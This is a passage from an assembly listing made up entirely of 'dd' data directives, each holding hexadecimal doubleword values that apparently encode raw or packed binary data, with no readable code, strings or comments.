1114FD8h, 8185FF0Dh, 0ECC9D6D7h, 0D20006B2h dd 5B884A0Ah, 0C0ECB7F7h, 16A4C880h, 2B0E3A7Ah, 8538937Ch dd 0E6806960h, 791099Ah, 349D63Fh, 0DF1AA017h, 0D0006BFh dd 0EF41405Fh, 75358Eh, 21201E4Eh, 13E83B78h, 6287E400h dd 8431CCFh, 0B27223h, 40DEEAFh, 0FD30B0C4h, 0FE422C00h dd 8D26A64Ah, 942E00ABh, 8C0774D6h, 0BE003D11h, 31C76773h dd 4BE401h, 9A0D780Bh, 8930E316h, 0FBDBA80Fh, 9ED2A010h dd 3DF56D7h, 62FE9F26h, 54C006D5h, 7F022AB2h, 7A07302Ch dd 36E244h, 0A2197184h, 731E63Bh, 0E48F9675h, 56D3F0B3h dd 430F22C5h, 0E0AC03E7h, 40855B02h, 2AFB149Bh, 8305B48Dh dd 2FE0D2Bh, 0A9E42DC4h, 0B9A7B8A0h, 1807D78Ch, 0FE9414Dh dd 0B440B4A5h, 96A2FDBBh, 0A5E248h, 936FC0CEh, 6711F924h dd 700D0E6h, 6416E210h, 33DD1E56h, 0C4C0BEB1h, 2FF94FB8h dd 0A4C11828h, 0AE0AC703h, 0A9DC8AA6h, 73F43069h, 0A467052Ah dd 9AE579h, 8AE005B0h, 9B80A7DBh, 6E900DEh, 819DB928h dd 5002DACh, 8EE177D8h, 39BC3B13h, 671C7E49h, 51390373h dd 5B808C2Ah, 87002EE2h, 0EF66DA6h, 1005F250h, 355ACBAh dd 0CA9FBECFh, 0AF96D08Ah, 255901FBh, 0B57E503Eh, 0F4F6F0CEh dd 1EECFD05h, 90802154h, 2AC6BD4h, 0F2852C77h, 0A080D1A2h dd 7CFD7918h, 370E0B01h, 30B3B2EDh, 0B8FE20h, 0E6FB85CAh dd 0CBB0D9C3h, 3DEEFC03h, 4A5A175h, 0A0E843E0h, 93849399h dd 0E5F69000h, 4EC0F370h, 0BFE40Ch, 31F309Eh, 0B567BBF5h dd 0A4C92F18h, 92B141h, 0A112FA25h, 0A09FC4Dh, 3D37360Ah dd 0D880F073h, 0B84A8BFBh, 1A830027h, 1CCA2E2Fh, 6824DD2Ah dd 0CD00F845h, 0B67D130h, 0FC400538h, 14BC61D0h, 1407FC94h dd 40E7F472h, 52A7D643h, 770E1DF2h, 80BEA2FFh, 0C2796406h dd 0EEBC0753h, 10386837h, 12E89399h, 0BBB61B00h, 0F8AFA61Eh dd 4AE73E22h, 0AB370580h, 1B6533F5h, 0B5A70D00h, 0EA14C671h dd 25783812h, 2EAFFE80h, 76FDFC0h, 0C5002D90h, 52A60BF3h dd 1DEEF629h, 0FF1E697h, 0BC6E9F5Fh, 1B5C77E1h, 0AA0EF8DFh dd 87BFD00h, 9CEAB318h, 5483016Ch, 0ED435339h, 9A5E3066h dd 0E58D3A00h, 0EF85C72Ah, 4EE3008Ah, 2FB288E2h, 0F628254Dh dd 3700D090h, 6F52D15h, 397CF2BEh, 9D0047C0h, 0E9441C38h dd 0F600C197h, 0D2086778h, 0B6F490h, 0EF5AE594h, 48A8995Eh dd 4C91E63Bh, 74077AB3h, 2A07414Ah, 8D115537h, 0E320A128h dd 0B92900D1h, 0B488D0F0h, 0C50768A0h, 8936FE18h, 5E2F7A80h dd 0DF650080h, 0A561028Ch, 5B02CD42h, 2E45277Eh, 87D18005h dd 98D72A71h, 43290175h, 0B8ACFB80h, 7351E039h, 808CA43Dh dd 7F3616F1h, 588DCBA0h, 8005571h, 76BE1762h, 57039F64h dd 0C7D2AACh, 0C9F4E899h, 300A0085h, 366CEE1Ch, 3516FE44h dd 2C40043Ch, 3042F2C5h, 23DF280Dh, 0BC6E06ECh, 10DE5CBBh dd 88F1D213h, 3EF78400h, 7FC7D854h, 0B5F2006Dh, 55C669DCh dd 5498771Bh, 0B9734300h, 94BC1922h, 0DE1F0020h, 0CEAED22Ah dd 0ACFEF8C8h, 2177B218h, 0B0552618h, 118E625Eh, 40D51774h dd 0FC315C24h, 0BAFF006Dh, 0DCF34528h, 3A1CC63Eh, 0DE07F28Fh dd 0ACA09308h, 0FB334C8h, 0EDE96DCDh, 8265CA80h, 7100C513h dd 0D9DA95C0h, 3AF29FCh, 0CEEABBDCh, 0C7B01723h, 30003FB0h dd 42A64522h, 1E03AEDh, 93FF9BB3h, 0E4CA35A4h, 447CEB62h dd 88CB1C24h, 0D7362A00h, 921B5E1h, 7DBFF458h, 0A2C64400h dd 0E6006A8Dh, 8B6F8F92h, 0B48A1FCh, 9DEE4EF1h, 0F5BD0980h dd 4360B5E9h, 2E2B5F70h, 787964h, 2AADDF8Dh, 0AF018F17h dd 0CE99D600h, 0A724371Ah, 84C41DF8h, 0DB9268h, 347ABD82h dd 7E001B4Fh, 642AE37Fh, 0E5923Ah, 793CA702h, 0ECD0E445h dd 8022FF3Ch, 33670F16h, 1BB260h, 4DAC95D1h, 77102F7Eh dd 9C7F0C00h, 22E7D7D2h, 0E4900B1Ch, 0A08280h, 2C5539ECh dd 0CA83481Eh, 0DEA4E00h, 2C92EDD2h, 8374C0DDh, 545E186Eh dd 0C41BE087h, 1A005F85h, 4CFDCC94h, 1FC2A938h, 0C96B5949h dd 50008874h, 696FF161h, 83EEE271h, 0CC3DEB24h, 0E14E5904h dd 198AB0D2h, 9C6442EDh, 0EA599898h, 3C49872Eh, 79633780h dd 90861Dh, 5EE69CEEh, 19B30F3Fh, 0B2A98700h, 0CE08BF42h dd 30DFAEh, 48B669D7h, 7C60593Bh, 0ADCFBA20h, 0F02561C7h dd 0EBE174F9h, 0DCD92BF1h, 0B9134E8Ch, 5C40E846h, 0C96FA7AFh dd 0B5EC30F2h, 0FF49F8D8h, 43823600h, 0F642E4A9h, 75860095h dd 0AA8E9DF3h, 37007350h, 71DD5553h, 0EA032DB7h, 0D8D2030Fh dd 93729AAEh, 92AF1CE8h, 0C0CA160Ah, 0CF00888Fh, 7FBCB47Ch dd 0E37E0F05h, 2760AFFDh, 0D18B83EEh, 8209AC00h, 56C0DCDFh dd 2EAE00A6h, 88155F20h, 233C38A7h, 18B08601h, 4C79D859h dd 0D9056840h, 0D38A3DDDh, 45984F6Ch, 4B1ECE1Dh, 730119EDh dd 0DEFC94E9h, 1F96830h, 5F74DBA9h, 226644F0h, 6AC902F8h dd 0C8C0CF6Bh, 2EDD164h, 0D8CC349Ch, 0C402055h, 610C5157h dd 101AFCB8h, 4A9F00E2h, 0A245505Ch, 434DF24Ch, 3F911D24h dd 0D9C23C00h, 45B789h, 0DA7228BDh, 9AF0DBF8h, 0B6E64A02h dd 480923A9h, 90A3F600h, 42E2BCh, 0AABCE262h, 4BA767E3h dd 0CE217605h, 0EC002C6Eh, 8EBE09Ah, 0A0D20026h, 0B042EDADh dd 0AA28608Bh, 0B600E4B1h, 48763D88h, 279E51h, 0F15F027Bh dd 1DA46383h, 5928CB0Fh, 0DC36E10Bh, 10283152h, 7B17A100h dd 0BC18EA41h, 0BDAF3E24h, 24E0A00h, 590728h, 4CCE9306h dd 75408E20h, 8060053Dh, 3417AC22h, 92DF9A37h, 8507A080h dd 0D51002F7h, 0A6BF0B4h, 87E1A740h, 0D606202h, 0C05CAA01h dd 0FFA7E2h, 4D54A821h, 8F552E76h, 3F2B300h, 2CBE0B94h dd 20A000F4h, 2285CFD8h, 0E538E67Dh, 0D8B4B0B8h, 1B645D9h dd 0CABD8267h, 2CF60A4Bh, 0A835C318h, 0C9E0BF96h, 592F7h dd 0C59C5C74h, 0E7193A1Bh, 0D1D758C0h, 31351DEh, 0F68CB1F0h dd 30C75C88h, 0F5476E26h, 0BEB56806h, 35C7F50h, 9604234Dh dd 0AAB0C837h, 98002AD8h, 0A8C0B807h, 3BAC70D6h, 0E3800DE4h dd 2869B7F0h, 0BD00DCCFh, 231297D2h, 0BFAC6D3h, 6711D9ABh dd 8F636480h, 7700A5FBh, 7C52882Fh, 4C0493B1h, 31001EDEh dd 0ADC67CAh, 0DF7A7D71h, 0D98A600h, 0AC04F0BDh, 320E07DBh dd 616F4E3Bh, 0BCE002C1h, 0ADA80F38h, 505E125Bh, 0CE589180h dd 0FF0658Fh, 4DC3D885h, 0DB9EB8C3h, 36262088h, 0B2FD8101h dd 1063F2A0h, 0E4197C0h, 0CB3A5CEEh, 9880A84Bh, 8CC11394h dd 0FC600628h, 4E687C00h, 0B0B27F56h, 702D6FE6h, 2FAB2482h dd 0B8AACC68h dd 0AC590A0Eh, 0A62582A0h, 0D810E071h, 5FF8B0h, 1A9DC909h dd 50935786h, 0FD1E5200h, 7F603967h, 58A907E1h, 304F8881h dd 83BE90E8h, 560070FAh, 0D63ECC02h, 0FFEC3h, 8EFFAC84h dd 80D59348h, 0A95B4E00h, 30292FD0h, 2BBA0271h, 1EE0FCDh dd 0ED818CA0h, 0C067AA90h, 5E200CA0h, 642B6h, 8740E43Ah dd 0D01B8BE6h, 2B8CDA00h, 238DE802h, 0D73D0014h, 48080AB3h dd 0B2E327Ch, 0F90022E2h, 0E1A45292h, 7A8800C5h, 0D19FF5C9h dd 9A07C4DAh, 751F3C39h, 7CE9E1E0h, 5CFC1C66h, 187A0E8Dh dd 1E9751E0h, 0AC000971h, 0D46AE04Ah, 759E2A8Bh, 7677BEh dd 0FF4BC82Ch, 0D8C5CCFDh, 9465ED00h, 2F5FCFF1h, 7E93008Dh dd 7F686288h, 52006378h, 0B1A37BFDh, 0EFF6E33h, 99C8FEA4h dd 9DDD6CA0h, 9100E479h, 8D25E319h, 0B8AD8345h, 0D2ED0345h dd 0E40CBC87h, 322A0698h, 0D67BB901h, 860BC114h, 24C8F435h dd 0B57100E5h, 916C1CA8h, 9600A0D4h, 0D1F1D3C3h, 754FE3h dd 424658C1h, 62B171C0h, 0DE6D4000h, 5F08EE68h, 9B4A1E16h dd 29E100B0h, 0B87369C6h, 99F6ED00h, 4959792h, 0F053005Bh dd 43D2F96Eh, 0A53CD440h, 300C8951h, 0FAC58010h, 124E96h dd 0EAC692D3h, 7FFE17D0h, 8574A300h, 731447C9h, 77AE004Dh dd 87FBE4EBh, 59120407h, 58851A10h, 0AB045850h, 0AF0116ACh dd 3281868Fh, 304B228Ch, 9D880BA0h, 0D0A110C3h, 0A801E1BBh dd 9D3FEE4h, 6CE68B8Dh, 650C4080h, 0A1F849BAh, 29A96A32h dd 6EFF1051h, 88BB3188h, 5589A769h, 70440F08h, 0D022842Dh dd 22C2F1A5h, 0B924756Dh, 14A35B21h, 7E29E9C6h, 0F502E9EAh dd 89A41910h, 0CB22C241h, 21C12448h, 51391A9h, 4AB6449Ch dd 71427D48h, 51F9268Ch, 1ACD251Eh, 351680FAh, 84983415h dd 2EC30065h, 12BFCFDh, 0CE007AE8h, 12C2963Fh, 0B0268766h dd 0AD6000DDh, 518E650Bh, 7D1F09E1h, 4440EB53h, 0F68A32AFh dd 573C00BAh, 0E27A98EFh, 740938CAh, 81A930F8h, 9046BBE2h dd 3905CDC8h, 9DFB8194h, 9B005ED8h, 0AF33E2E3h, 0CDC30Ah dd 0D21FB2EBh, 8ECF1D9Dh, 0A88A3C00h, 80A00FABh, 0CBC20725h dd 106DEEA9h, 83E922E0h, 65317600h, 0E7544A7Dh, 1149285h dd 6C731FACh, 0FF238B38h, 1C03988Eh, 0AA240870h, 0A88185B6h dd 0B5CC4680h, 2579003Ah, 9D4FA752h, 43007B37h, 1202822Fh dd 1DC1F7h, 990E2E89h, 32DB9433h, 0A4779F00h, 0E6ED3AD8h dd 74974812h, 0E72BB680h, 8500C4C8h, 0D7083D5Ah, 16EBE4h dd 5BE3AA7h, 38B37FCEh, 347A1700h, 0D8A0846Bh, 6A5F0020h dd 74AEC192h, 5D09FADFh, 0E8B981h, 3F693B01h, 0EF500039h dd 0B10711E1h, 0AB00472Fh, 807DEA73h, 96B2F7h, 1824D450h dd 8CA8FD84h, 43423E00h, 0BD608A2Ah, 0DBB0E1Bh, 8660C7C4h dd 0E1341454h, 0F08E5A00h, 60E85124h, 48F51CF8h, 0A9BDC011h dd 530BEAADh, 3FDBD100h, 5F81F25Eh, 561D00B9h, 8A12D774h dd 0BE0E5058h, 4B6E7h, 2E47E6DAh, 8FA90064h, 53885A9Ch dd 0F203220Ch, 9BD98A5h, 9BA19021h, 5D79486Dh, 0DC5728h dd 49072480h, 219283F8h, 51B5100h, 2A84E153h, 0E4590029h dd 37B61595h, 6E1FB187h, 0EB4011E6h, 797E844Dh, 7D2F61Eh dd 0AEA585D3h, 0C68D3099h, 290005BDh, 0A77E3D7h, 1FC952F9h dd 0C0718943h, 0EDA5C8BBh, 0C100F47Ah, 5FF1E367h, 4672F9h dd 0CE526E6Ah, 0B00242FAh, 0B635B02h, 426576A5h, 77C48h dd 0F266AC3h, 0C800C260h, 32D90740h, 125599h, 9EE0FC6Ch dd 0D863A224h, 0B0C0F7F8h, 7DAA7881h, 0B67AFEh, 0AC020B60h dd 844DECAh, 512E70Bh, 0B3B4207Ah, 60E4E599h, 0BCC4580Bh dd 65E2D7F7h, 0BA5AAF00h, 69AB952Ch, 77140F38h, 0F500B633h dd 0CB8C276h, 8DD79A00h, 5B1988CEh, 0F09960DEh, 36A45498h dd 7FBB4200h, 0CF408BCh, 15020075h, 8303898Fh, 0A60F18F0h dd 30E7DFCCh, 0C4EBA200h, 96980EC0h, 0F85DA100h, 7C1E7D4Ah dd 0BCA001E0h, 0B637746Bh, 78E940D1h, 4700F916h, 28406A7Eh dd 0E26627h, 2CEABAFEh, 9F8B1382h, 773E1004h, 0A08002CEh dd 1A7F2D1h, 40663991h, 0DC8E6738h, 600D7C7h, 895E3009h dd 0FCFE96h, 0A1E82523h, 552CC2B1h, 0AB0E5C00h, 459D7CBFh dd 876900E6h, 3D46A0E9h, 5EC0F11h, 148FC200h, 2BFBD168h dd 17C70002h, 8A1E5E9Fh, 0DF003C65h, 0D973B08Fh, 28555871h dd 0B9897E9h, 1A3B4E49h, 2360077h, 0A8F46Ah, 0FE65AABAh dd 3ED4BDE1h, 0E3363903h, 0A01E2D1Ah, 489F98h, 0AEB062EBh dd 0B5F2778Ch, 5BF81200h, 47180F27h, 29BA0958h, 6880A849h dd 4221B5D8h, 0F0C6B420h, 0F01B8993h, 0A01EC873h, 0FBFE132Ch dd 0EE700960h, 2CBCD0Fh, 58D42CEh, 1940F485h, 20EB7297h dd 3B001C4Ch, 145B6022h, 5925EDF9h, 0C51FA874h, 7BC000E4h dd 62170BAEh, 331D6709h, 0AA108599h, 790306EBh, 6977B09Bh dd 85355901h, 68EDF876h, 704904D7h, 81FC7918h, 22B34758h dd 34890094h, 8B01F2E4h, 0C97800D3h, 403C2773h, 880ECCFBh dd 405131B9h, 610791B0h, 81D4A02Bh, 5B42007Bh, 0FACCD897h dd 37FAA525h, 0D0D52E00h, 107A4BA2h, 38EA010Fh, 5D6F486h dd 67F03055h, 6447251Ch, 4313DB80h, 0E93102h, 279E9C0Bh dd 0E33C49FCh, 0A200BA7Ah, 0FE3544FDh, 194AD5Bh, 0B4481B13h dd 2019498Bh, 20E5AAACh, 0C6203200h, 0D34D00B5h, 17C87D9Dh dd 39000FA7h, 0D579F8FFh, 1F2B18A0h, 7D8CA4AAh, 0E64F2504h dd 19688003h, 0A3E66048h, 0BCD91F00h, 0F29DB4Eh, 0C0BF07C1h dd 700EE6B4h, 0DD36644Ah, 2B309C04h, 74C0F85Bh, 7D4753A7h dd 0CDAD0132h, 27313FDEh, 9480D2BCh, 0D906BD61h, 0B3E96501h dd 73DE54A7h, 51CBAFF4h, 8320884Bh, 0C696008Eh, 44E9FF49h dd 0B507CEDCh, 1FEF3146h, 0EC3BC0DEh, 5842015h, 2A6AD0D1h dd 0CC88041h, 60772EB2h, 22AE9700h, 1256C5CAh, 7E4A061Bh dd 28385D20h, 3D001890h, 0F7E493ABh, 0C3F980h, 6976027Dh dd 0F0D84C88h, 5273EC03h, 0E83EB5FCh, 648DBAh, 0EA0C924h dd 0F4B466F7h, 7E0029F4h, 0B022E40Ah, 3C45EFDh, 0BBE8AC75h dd 66F0411Dh, 0A3000129h, 4F2FC3B2h, 484DDB9Bh, 4B0656B9h dd 3640DEE4h, 0AE3BF703h, 0C8A49D51h, 3ED1FB7h, 314BEB90h dd 0BF88FDD8h, 2600AC5Ah, 417B98Dh, 9B6118h, 83C470DFh dd 0FA57020Eh, 0FF78E600h, 73C6D785h, 2EB32EA1h, 0ADA8088h dd 0DF518F5Eh, 0F56F0F03h, 0B8E47644h, 0B83715BFh, 77F6168Ch dd 0FEA80006h, 0B0DC211Ah, 6600D3F4h, 0B5AA3305h, 2A42D19h dd 0C8C34B22h, 0B480DA6Ch, 868C1F34h, 0D81CB107h, 78A7E33Eh dd 8F9B30B0h, 0CF6A00AAh, 21EEDDEAh, 4F002B3Fh, 7B59C6D3h dd 1364FB22h, 5654854h, 80070EE8h, 0C8A0E32Eh, 0BE8AA02h dd 42B58DBDh, 0EE5C8036h, 48CAE417h, 8500B470h, 0F8D80BC5h dd 667B3174h, 5F5AB100h, 5E48AF15h, 1BDF0096h, 46F7FA91h dd 0B503CD03h, 115AB3A7h, 0B233C09Bh, 7CE407h, 12D2F1DCh dd 4341B9C0h, 0E76F3A1Dh, 2290A49h, 0C097A9C0h, 0C7F708h dd 5C2114Ah, 0F82AFE27h, 38D6E203h, 0C841DABFh, 5A88778h dd 8A37CF70h, 0E863C021h, 0A900E118h, 9B04105Dh, 172F6h dd 0CCE26EB3h, 0B4D48A09h, 0E4AECB00h, 956C6A7Dh, 36730011h dd 53F8782Fh, 9B7829D5h, 0D5C8F028h, 0A6136A03h, 0F8835814h dd 0E24E93h, 77501AA9h dd 5BDB3BB9h, 0DF6EEA00h, 62514098h, 0FAD07158h, 378B6h dd 0C70D2356h, 73C4F882h, 0AF16200Bh, 90288265h, 1E7860BDh dd 5DC90095h, 336CC78Eh, 0EE009D36h, 0DF8BA798h, 3178EAh dd 4FCF792Ah, 3C43E0A6h, 0D2B23505h, 83008F14h, 8DB16F5Fh dd 0A0F00D6h, 0EFE0CE0h, 4A014F44h, 5CAB24DDh, 12F0BB37h dd 78DFABCh, 6D906F34h, 7CCEC0FFh, 0B100E43Eh, 3FC85321h dd 468866h, 5D2E4915h, 0AB4CBBC3h, 126EE93Ch, 100370C5h dd 0A8111F5Ah, 0DDAF27h, 0A37A5228h, 18A96B4Ch, 0E1BEBF1Ch dd 0F216007Eh, 0FB0A9E80h, 0D91300EDh, 8D4E54Ah, 0F8E2ECE8h dd 41543C01h, 2BC62AC4h, 0E91BE8h, 0FA958439h, 99223E92h dd 1A84800h, 804B60E3h, 1BBF017Dh, 0D261DD5h, 0B0A57006h dd 0A5139D00h, 0F643A91h, 0E3A100B8h, 0FB598699h, 0A6002DCAh dd 57FD4416h, 7C28DAh, 0E3A348F2h, 873C6376h, 8D12DE00h dd 42B5619h, 1B270082h, 377C3592h, 64986CDAh, 180D461Dh dd 8A61FD43h, 310898B3h, 426B00A8h, 54AECD0h, 0D27F3BB1h dd 150BCB00h, 21406EA9h, 2781011Ch, 7E8D4FB7h, 0D098DFD1h dd 0B00073E5h, 0B9103F69h, 3ACEB8E0h, 0EC0082A9h, 8A908DCAh dd 191CD65Bh, 97E29FDh, 8159FB94h, 0E1A02511h, 35C460h dd 0D00AFF17h, 0B1BE87D8h, 0B93FA47Ch, 66DD9DD1h, 300D3C80h dd 6EA05Bh, 855AB2FDh, 0CC4B14DCh, 0A923ED00h, 93C03843h dd 84283059h, 0F1D189C8h, 0AD30C501h, 1AAF9754h, 0B9E4D0h dd 0FB3CF03Ah, 8EE57A16h, 8AFC7E14h, 50EB50A0h, 71C53000h dd 0E82F441Ah, 0B64800B1h, 2A85CD76h, 0CF0124F1h, 425B17C3h dd 0EC7113C7h, 7B0DC8h, 344CFECEh, 560F2A66h, 48189F38h dd 0F71B0330h, 0D893FDB1h, 7CECD53Dh, 7D071DEDh, 0F4DDC057h dd 51C940B6h, 65320A1Ch, 0DEBCB9C0h, 0F22F2086h, 5BF13B15h dd 50586F80h, 22783562h, 0D8597A01h, 907F8BD3h, 9031E9FCh dd 0FE4BF084h, 417C0140h, 43BA6682h, 4010318Ah, 0D39E59A8h dd 8F02C2E6h, 0E10CE330h, 3EC48042h, 0F122F4h, 7B181B87h dd 1082484Ch, 1DB3E800h, 885DB7BEh, 375EAC8h, 5345A256h dd 0D9E0E494h, 1600E715h, 52CF0A7Dh, 5F5947h, 79F5105h dd 337B71E4h, 0BFBBE702h, 602E3F2Dh, 0E54924h, 9C21B4B3h dd 1D79221Ah, 8852A90Eh, 81D96080h, 1C45A132h, 0CE06BB5Ch dd 0DB400E95h, 0BE2C9AC3h, 0CDE9A300h, 0D463880Fh, 4340104Dh dd 25E308AFh, 0E1A2E18Bh, 2F94D89Bh, 6F17D518h, 8ECF19h dd 0BCCA8A25h, 75A62641h, 28A70702h, 0A0367722h, 0C18E96A4h dd 0E00300B7h, 0B0800B59h, 0FE008CE2h, 0A90E6935h, 7C1AADAh dd 0B65CBC33h, 0DB440087h, 0E1E68671h, 5A9EF01h, 8A672F17h dd 9051E9ECh, 0F01604E4h, 8203AB73h, 0BC408F14h, 3C07A2BFh dd 0F196F79Ch, 7D7A5700h, 0A0DD0C6Bh, 499042ECh, 0F6CC8F07h dd 0EE208F8h, 0AECC404Dh, 0C8A9005Ch, 0A68F0A1Ch, 0AD09AB7Ch dd 80548A22h, 5CB6F208h, 67101h, 657ED746h, 21F5CD87h dd 0E859F000h, 0D670B1E3h, 930F0040h, 4AB6D330h, 0EEEA8C8Ah dd 0A1E938h, 0FBA0E280h, 0E80BEDF1h, 1B8D00A7h, 0FD5A7752h dd 0C2003B62h, 2ECEF7Ch, 0D34207h, 5D976D7Ah, 73C051E5h dd 0A899CF00h, 0C5E40852h, 502F0B9h, 0D0E95A1Ah, 0EC8C0753h dd 30008963h, 0FAACB2E5h, 3D644F00h, 0B4BDC58Ah, 29500032h dd 892CA602h, 7C30D92Ah, 0E0EFB835h, 7E8B84Dh, 8077F13Eh dd 0A1A46E3Dh, 10CC0F3h, 875442E6h, 5E000CB4h, 0F82C203Bh dd 0FADE0B81h, 4A31148Fh, 9F11D466h, 0F2E005Bh, 0B7F73746h dd 557F096Ah, 64072B8Bh, 44087083h, 0C1002691h, 60F699D2h dd 1F86876h, 69345EB8h, 0BEDD759Ah, 4758F648h, 0D0F60FF7h dd 21462006h, 0BE8696h, 410DFEB8h, 53ABCD36h, 77A6C400h dd 0E3035239h, 0B1AE0014h, 1C3D446Eh, 27092195h, 80FE4FB8h dd 0A5A1B995h, 7B820090h, 0CB319F30h, 0F9003ED0h, 74BD56B6h dd 0BFE7DB8h, 4AD584F2h, 69D1BF80h, 0EF009482h, 5CD35EE1h dd 91088EDh, 0BA3D4884h, 0D09E9007h, 7326F214h, 80651A06h dd 0FCF827B5h, 98EB304Ch, 6273F2D9h, 0BA8F19C0h, 0B43B80Bh dd 9BFBB48Ch, 0C03B1C20h, 6924E4D7h, 0EB0F5007h, 0A11C40CDh dd 1E6D65D4h, 0F85BA0FEh, 85C60900h, 0E9F16126h, 87007C7Bh dd 988320CEh, 2FEB9Bh, 0A73AFBC3h, 0CA5176D2h, 0D36E2301h dd 597B52D9h, 1ED19EF4h, 8055946Bh, 42BD5AACh, 494CE916h dd 0B4701F4Ch, 4C9090A8h, 0A15B2C12h, 0B5C00318h, 61D81851h dd 0E2ED20CAh, 1F0E5900h, 8576FC92h, 57E1DAAh, 576F8030h dd 0ECDA80EFh, 565D7800h, 0A54AF28Dh, 664300E1h, 6A39F83Fh dd 4C98AD1Fh, 7779BF00h, 0B635F765h, 0D72000DFh, 2EBC4B28h dd 5900029Dh, 18511ABBh, 70D8212h, 4DB85629h, 10C18009h dd 0AA3FC2EBh, 779580EEh, 0F29259A6h, 0F7AF00B4h, 0EB28634Eh dd 0B507178Eh, 5705E215h, 0D000AD25h, 827CBFBh, 0B934130Bh dd 96F80047h, 4A06BECCh, 70A07703h, 0A899AF2Fh, 2CE7EB8h dd 3ACF177Dh, 5863E7B2h, 0FD04900h, 0B9386FF4h, 9EF8000Eh dd 6E49FE04h, 0C072D691h, 5E076C00h, 1675207Ah, 98AF7580h dd 7FDB0140h, 0EC47B631h, 0E8DD61B5h, 5EE9657h, 4D12CC90h dd 1C309ED4h, 0E2B0EAEEh, 83CE00F0h, 0E18A32Bh, 0AB00CAF9h dd 0A68ED278h, 90A14AD0h, 0F37870h, 0EAC5EE3Ah, 75122593h dd 0FFB42C00h, 1F71B284h, 4E2100DDh, 46387944h, 0BD00080Eh dd 0EF14DACCh, 246ED816h, 0AA41B5Ch, 0F2E29Eh, 0CE07597Ch dd 79E21633h, 0DCA94730h, 0BF3893h, 0C7F41D26h, 311B0641h dd 9DED300h, 9CE8BA07h, 3CF8A045h, 132A7FEBh, 553FE7Ch dd 9CCDCh, 0EFA7BDE4h, 2C017465h, 0AB46D3D0h, 0CACCE09Ch dd 0A4295804h, 0BD00FD3Bh, 0FC8EDF33h, 2D48B3C0h, 0C6252E50h dd 78D00Eh, 89535EBBh, 82CE001Dh, 5B76F32Ch, 0E70758AEh dd 3FAA1F4Bh, 8F396AA0h, 0A0E6000Ch, 7275FA1Ch, 0CF03D992h dd 0AF1FE847h, 4FB000AEh, 0B45720CAh, 864AEB6Eh, 0C826AC0Ch dd 0B0374C7Ah, 80115F1Dh, 688710E1h, 1A0BD503h, 0AFB2A20Bh dd 0BD48E230h, 8054CA0Fh, 37FF3DB4h, 8DB818C8h, 0F04019DFh dd 4DCD2200h, 46C0FB84h, 72D90E2Bh, 2EC0A3A5h, 0BDD68B43h dd 0DC0A1D00h, 8F554E9h, 4444ABAh, 90CA88D8h, 0A55D3668h dd 0CFA85906h, 4838C8h, 6AFF4A84h, 8AB9F906h, 26E92000h dd 897ABC19h, 478C37F8h, 627D1060h, 6F39F964h, 29480B4h dd 0AF4AE935h, 74BB2CEBh, 3DA600DAh, 82BF23D8h, 0C14E513h dd 15AF7800h, 9FB9C7h, 249A7B1h, 0F10E99A1h, 8B2CF900h dd 0CAEC695h, 11476714h, 0EA1C10AAh, 0B4B0EC0Eh, 76F89000h dd 86069375h, 417A0112h, 0A2F3D213h, 3960F6E4h, 0EC00CD04h dd 0D3C7F20Ah, 74DD823h, 996CDC2Eh, 7D00A48h, 0D5707AE8h dd 1319801Ch, 0B8FE14B5h, 0D132FC00h, 73A3A644h, 461E3F1Dh dd 0AFC99487h, 238C300Bh, 4F790314h, 6A08607h, 0A5201A1Ch dd 4772A7h, 896AA2D3h, 74F1226Eh, 56D05D03h, 0B08A79ACh dd 14DBC64Ah, 8858E947h, 0F3E850h, 4C0B7513h, 0DDF7E177h dd 2D7D0979h, 0AA002D98h, 23604A2h, 0C34770h, 48D2CEB7h dd 0FA4E5A61h, 0A701A9F2h, 2BD32A60h, 40FE08DAh, 751ADC8h dd 7FC83BC1h, 251AC322h, 0EF7D86A0h, 0FA069F00h, 0EE45FC31h dd 0A24900AFh, 75C029DBh dd 0E1138D7Ah, 0B84064B0h, 22EB6B57h, 67900017h, 0C02C1969h dd 0CC007E8Eh, 0CC8994Eh, 99A34h, 0F05E7A59h, 0A9887DEBh dd 0C1004FF0h, 9E89FD99h, 7E363h, 32CF184Dh, 0F1F408F6h dd 254CA848h, 0ACE0806Eh, 0A814BB4h, 356D8029h, 0E59F00D4h dd 82246C9Bh, 4E00547Eh, 0BE9CCED8h, 2F744A6h, 63A05BC3h dd 26C1AA77h, 24CC7040h, 1DB4C00h, 0CB4E83F3h, 0AD453E66h dd 69007A5Ch, 0E587C056h, 0FD0EE13Ah, 0C0421120h, 15220577h dd 1EB70546h, 0C151FC75h, 31580D84h, 0CD08DC50h, 74ADCBA1h dd 80A13028h, 0E7A8DF2Ch, 0FE242F68h, 0CD807408h, 0E5E83FA9h dd 0F137948h, 8675C13Dh, 0E0B74A0h, 0B002E645h, 0C2E793BFh dd 91C2C160h, 2EAEB4D8h, 80DC7BF8h, 5FB7BCCAh, 972607A0h dd 37003899h, 0B854F8E2h, 0B0961Eh, 0A9E7FA75h, 17EC271h dd 0E936F200h, 46540340h, 0C7100B0Bh, 0E0B876A2h, 0F8EB9F34h dd 0D41CB45Bh, 0C505ECEDh, 7485430Ah, 0E553D8D0h, 455000D8h dd 0F11A301Eh, 6F12D366h, 0EA9587h, 0DBC1C993h, 641FF23Eh dd 7D404171h, 0D675C407h, 9B6500A3h, 0F3A83A91h, 34025FB5h dd 45104C4Dh, 0B7336030h, 6971ABh, 0ED2A806Bh, 945774EEh dd 19F37101h, 0D7F9538Fh, 24C6D341h, 239F560h, 2B79B498h dd 15DE5244h, 0C88A309h, 19B5CC2h, 0DCEDD73h, 82BE0C44h dd 3565140h, 0FF846801h, 0C7330085h, 43324DBBh, 0DE00CE26h dd 5F4ED2C1h, 0CD5140h, 4CBAC0E1h, 0F1354231h, 18C4B528h dd 0B9113760h, 14523473h, 0FCE8965Eh, 0AFD0D63Dh, 11C664F3h dd 175704E4h, 93850052h, 90DB451Ch, 0A3009CB8h, 6533050Eh dd 0E35037Bh, 9C2C2104h, 0B5E76642h, 0DD142848h, 54D26B00h dd 0EB53DE2Bh, 3B8203E2h, 0D48E3033h, 7BD6590Eh, 0E8AC6CABh dd 9B2E2E16h, 0A107BCD0h, 37267329h, 0AD234072h, 0D000ACC1h dd 86A60789h, 0F1A434h, 314E90D1h, 92012058h, 2B0048F8h dd 0C045965h, 2738E609h, 0A3D88E2Eh, 0CAC7D313h, 0E0865E00h dd 44EDB2h, 0BA56B32Dh, 926D9DC9h, 0BBFA2200h, 63AEEA2Ah dd 7ADA07B0h, 0D0D73306h, 49082042h, 3F13CC04h, 1CB05EDEh dd 0DFA80E7Ah, 0B600988Ah, 1E0FB869h, 53BF580Bh, 1B587FAh dd 6999620h, 317B0718h, 